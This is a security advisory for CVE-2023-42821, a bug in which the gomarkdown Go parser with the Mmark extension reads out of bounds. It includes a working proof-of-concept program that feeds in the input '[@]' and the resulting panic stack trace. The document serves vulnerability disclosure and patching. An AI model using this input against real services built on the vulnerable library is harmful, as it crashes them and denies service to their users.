CVE-2023-42821

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
    "github.com/gomarkdown/markdown"
    "github.com/gomarkdown/markdown/parser"
)

func main() {
    ext := parser.CommonExtensions |
        parser.Attributes |
        parser.OrderedListStart |
        parser.SuperSubscript |
        parser.Mmark
    p := parser.NewWithExtensions(ext)

    inp := []byte("[@]")
    markdown.ToHTML(inp, p, nil)
}

$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30
main.main()
    /Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic